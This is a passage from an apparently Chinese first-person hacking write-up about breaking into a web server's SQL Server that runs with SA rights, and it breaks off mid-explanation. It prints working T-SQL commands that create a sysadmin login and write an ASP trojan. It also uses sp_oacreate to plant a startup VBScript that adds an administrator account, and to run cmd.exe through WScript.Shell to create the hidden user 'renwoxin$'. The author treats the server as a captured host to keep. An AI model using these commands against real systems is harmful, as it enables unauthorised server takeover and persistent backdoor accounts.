| 朋友叫我帮忙看看，这样和管理员的直接攻防较量我还没尝试过，所以也就答应了！
因为是数据库是SA权限连接的，我首先想到的是利用下面的命令： exec master.dbo.sp_addlogin renwoxin 我的目的是添加数据库用户“renwoxin”，然后将将其加入“Sysadmin”组： Exec master.dbo.sp_addsrvrolemember renwoxin,sysadmin 然后就可以用祭出我们的“屠库宝刀”——SQL查询分析器了。开始我还抱着一丝侥幸，希望可以通过： sp_addextendedproc Xp_cmdshell,@dllname=' Xplog70.dll' 添加Xp_cmdshell扩展过程。可惜SQL输出如下： 数据库中已存在名为Xp_cmdshell 的对象。 为了确认Xp_cmdshell是否被删除我提交如下语句： select count(*) from master.dbo.sysobjects where xtype='X' and name=Xp_cmdshell 返回1，看来并未删除Xp_cmdshell对象，那问题应该是出在 Xplog70.dll这个文件了，也许被改名或者删除了。 我决定用臭要饭的写的GetWebShell来写入ASP木马。工具使用很简单，以往的黑防也有介绍过。我使用后一会儿就提示写入成功了，但等我高高兴兴的去访问这个路径时，却提示“找不到网页”，郁闷！ 百思不得其解，拿出NBSI2，利用Tree list工具列出WEB路径下的文件，发现上传的木马“安详”地躺在那儿，可为什么不能访问呢（我现在都还不知道答案，哪位高人知道希望能指点一下），而且错误提示居然是“找不到文件”？！ 我打算放弃了，可这么好的肉鸡就这么飞了，实在心有不甘！到百度一通狂搜，终于找到一篇文章，文中提出了一种方法，用SQL查询分析器写入如下指令： Declare @o int, @f int, @t int, @ret int ,@a int exec sp_oacreate ’scripting.filesystemobject’, @o out ——这两行代码是建立SQL的文本对象 exec sp_oamethod @o, ’createtextfile’, @f out,’c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs’, 1 －－在启动菜单里写入a.vbs，当然这里只支持中文 exec @ret = sp_oamethod @f, ’writeline’, NULL,’set wshshell=createobject("wscript.shell")’ ——单引号里的都是a.vbs的内容，要一行一行的写，下同。 exec @ret = sp_oamethod @f, ’writeline’, NULL,’a=wshshell.run ("cmd.exe /c net user user1 123 /add",0)’ exec @ret = sp_oamethod @f, ’writeline’, NULL,’b=wshshell.run ("cmd.exe /c net localgroup administrators user1 /add",0)’ －－a.vbs内容结束 按照作者的说法，执行查循后会在服务器的启动程序里写入一个a.vbs脚本。等服务器重启就可以添加一个user1密码为123的用户。可是要等服务器重启，要到哪一天啊?! 对着这段代码是我是上看、下看、左看、右看，你还别说真看出点什么了。这个脚本用Sp_oamethod来调用OLE对象的Writeline方法，突然灵光一闪，我能不能用Sp_oamethod来执行CMD命令呢？赶紧找出“SQL Server联机丛书”，其中对Sp_OAMethod描述如下： sp_OAMethod 调用 OLE 对象的方法。 语法 sp_OAMethod objecttoken, ????methodname ????[, returnvalue OUTPUT] ????[ , [ @parametername = ] parameter [ OUTPUT ] ????[...n]] 参数 objecttoken 是先前用 sp_OACreate 创建的 OLE 对象令牌。 methodname 是要调用的 OLE 对象的方法名。 用WScript.Shell对象的Run方法来运行Cmd.exe不就可以执行Cmd命令了吗？于是构造如下语句： DECLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd output EXEC sp_oamethod @cmd,'run',null,'cmd.exe /c net user renwoxin$ test /add','0','true' 小提示：上面语句的详细解释是： |
